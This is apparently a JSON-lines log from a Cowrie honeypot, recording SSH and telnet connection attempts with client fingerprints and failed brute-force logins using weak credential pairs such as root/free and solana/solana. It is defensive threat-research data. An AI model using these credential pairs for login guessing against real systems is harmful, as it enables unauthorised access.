{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:47.036063Z","src_ip":"103.75.199.4","session":"0ba6122a2580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:47.323906Z","src_ip":"103.75.199.4","session":"0ba6122a2580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.29.34.90","src_port":43474,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ebbf2e4fad2","protocol":"ssh","message":"New connection: 115.29.34.90:43474 (10.17.0.5:22) [session: 0ebbf2e4fad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:47.956532Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:48.425048Z","src_ip":"103.75.199.4","session":"0ba6122a2580","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.7.4","message":"Remote SSH version: SSH-2.0-libssh_0.7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:50.047952Z","src_ip":"115.29.34.90","session":"0ebbf2e4fad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.182.24.242","src_port":60836,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8d1fe3e4431","protocol":"telnet","message":"New connection: 187.182.24.242:60836 (10.17.0.5:23) [session: f8d1fe3e4431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:50.139221Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":33788,"dst_ip":"10.17.0.5","dst_port":22,"session":"1efae1b3c034","protocol":"ssh","message":"New connection: 78.40.37.143:33788 (10.17.0.5:22) [session: 1efae1b3c034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:56.852701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:56.857427Z","src_ip":"78.40.37.143","session":"1efae1b3c034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:56.937289Z","src_ip":"78.40.37.143","session":"1efae1b3c034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ht123456.","message":"login attempt [root/Ht123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:57.289395Z","src_ip":"78.40.37.143","session":"1efae1b3c034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:58.375914Z","src_ip":"78.40.37.143","session":"1efae1b3c034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":6022,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2a20af87ba6","protocol":"telnet","message":"New connection: 34.77.199.147:6022 (159.203.135.109:23) [session: a2a20af87ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:02.930607Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":6038,"dst_ip":"159.203.135.109","dst_port":23,"session":"f006e2937f5f","protocol":"telnet","message":"New connection: 34.77.199.147:6038 (159.203.135.109:23) [session: f006e2937f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:03.087849Z"}
{"eventid":"cowrie.session.closed","duration":0.006015300750732422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:03.093760Z","src_ip":"34.77.199.147","session":"f006e2937f5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":6046,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d10c0cbd365","protocol":"telnet","message":"New connection: 34.77.199.147:6046 (159.203.135.109:23) [session: 7d10c0cbd365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:03.244351Z"}
{"eventid":"cowrie.session.closed","duration":13.334922790527344,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:03.474049Z","src_ip":"187.182.24.242","session":"f8d1fe3e4431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36044,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bdc3eedb2e4","protocol":"ssh","message":"New connection: 103.75.199.4:36044 (159.203.135.109:22) [session: 9bdc3eedb2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:08.754906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:08.759717Z","src_ip":"103.75.199.4","session":"9bdc3eedb2e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:08.851340Z","src_ip":"103.75.199.4","session":"9bdc3eedb2e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:09.180792Z","src_ip":"103.75.199.4","session":"9bdc3eedb2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:10.275007Z","src_ip":"103.75.199.4","session":"9bdc3eedb2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":33040,"dst_ip":"10.17.0.5","dst_port":22,"session":"890fb549ff09","protocol":"ssh","message":"New connection: 94.154.34.232:33040 (10.17.0.5:22) [session: 890fb549ff09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:10.501368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:10.506001Z","src_ip":"94.154.34.232","session":"890fb549ff09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:10.626622Z","src_ip":"94.154.34.232","session":"890fb549ff09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"free","message":"login attempt [root/free] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:11.142590Z","src_ip":"94.154.34.232","session":"890fb549ff09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:12.267813Z","src_ip":"94.154.34.232","session":"890fb549ff09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.078196048736572,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:17.008671Z","src_ip":"34.77.199.147","session":"a2a20af87ba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":41544,"dst_ip":"10.17.0.5","dst_port":22,"session":"e62a99c395d4","protocol":"ssh","message":"New connection: 80.94.92.182:41544 (10.17.0.5:22) [session: e62a99c395d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:17.623755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:17.773146Z","src_ip":"80.94.92.182","session":"e62a99c395d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:17.781045Z","src_ip":"80.94.92.182","session":"e62a99c395d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:18.935600Z","src_ip":"80.94.92.182","session":"e62a99c395d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:20.151983Z","src_ip":"80.94.92.182","session":"e62a99c395d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":33031,"dst_ip":"10.17.0.5","dst_port":22,"session":"e23b924b320c","protocol":"ssh","message":"New connection: 213.209.159.56:33031 (10.17.0.5:22) [session: e23b924b320c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.060963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.065446Z","src_ip":"213.209.159.56","session":"e23b924b320c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.149316Z","src_ip":"213.209.159.56","session":"e23b924b320c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53716,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e177478b8a2","protocol":"telnet","message":"New connection: 34.77.199.147:53716 (159.203.135.109:23) [session: 0e177478b8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.402378Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.407580Z","src_ip":"34.77.199.147","session":"0e177478b8a2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.411301Z","src_ip":"34.77.199.147","session":"0e177478b8a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09094977378845215,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.493219Z","src_ip":"34.77.199.147","session":"0e177478b8a2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"margo","password":"margo","message":"login attempt [margo/margo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.560514Z","src_ip":"213.209.159.56","session":"e23b924b320c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53732,"dst_ip":"159.203.135.109","dst_port":23,"session":"416ef4d4338f","protocol":"telnet","message":"New connection: 34.77.199.147:53732 (159.203.135.109:23) [session: 416ef4d4338f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.566880Z"}
{"eventid":"cowrie.session.closed","duration":0.005136013031005859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.571920Z","src_ip":"34.77.199.147","session":"416ef4d4338f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53738,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba8e39f81314","protocol":"telnet","message":"New connection: 34.77.199.147:53738 (159.203.135.109:23) [session: ba8e39f81314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.722187Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53746,"dst_ip":"159.203.135.109","dst_port":23,"session":"4666ea07e493","protocol":"telnet","message":"New connection: 34.77.199.147:53746 (159.203.135.109:23) [session: 4666ea07e493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:22.877402Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53750,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ddd3b97076b","protocol":"telnet","message":"New connection: 34.77.199.147:53750 (159.203.135.109:23) [session: 1ddd3b97076b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:23.032847Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53764,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9784b8af4a7","protocol":"telnet","message":"New connection: 34.77.199.147:53764 (159.203.135.109:23) [session: a9784b8af4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:23.189208Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53778,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfc2913a39d7","protocol":"telnet","message":"New connection: 34.77.199.147:53778 (159.203.135.109:23) [session: cfc2913a39d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:23.345311Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53790,"dst_ip":"159.203.135.109","dst_port":23,"session":"47021029c777","protocol":"telnet","message":"New connection: 34.77.199.147:53790 (159.203.135.109:23) [session: 47021029c777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:23.500689Z"}
{"eventid":"cowrie.login.failed","username":"margo","password":"margo1","message":"login attempt [margo/margo1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:23.645562Z","src_ip":"213.209.159.56","session":"e23b924b320c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53796,"dst_ip":"159.203.135.109","dst_port":23,"session":"52f4aa1f6eac","protocol":"telnet","message":"New connection: 34.77.199.147:53796 (159.203.135.109:23) [session: 52f4aa1f6eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:23.661288Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53800,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee43fea06ae4","protocol":"telnet","message":"New connection: 34.77.199.147:53800 (159.203.135.109:23) [session: ee43fea06ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:23.817222Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53812,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a36cf197fa5","protocol":"telnet","message":"New connection: 34.77.199.147:53812 (159.203.135.109:23) [session: 0a36cf197fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:24.049639Z"}
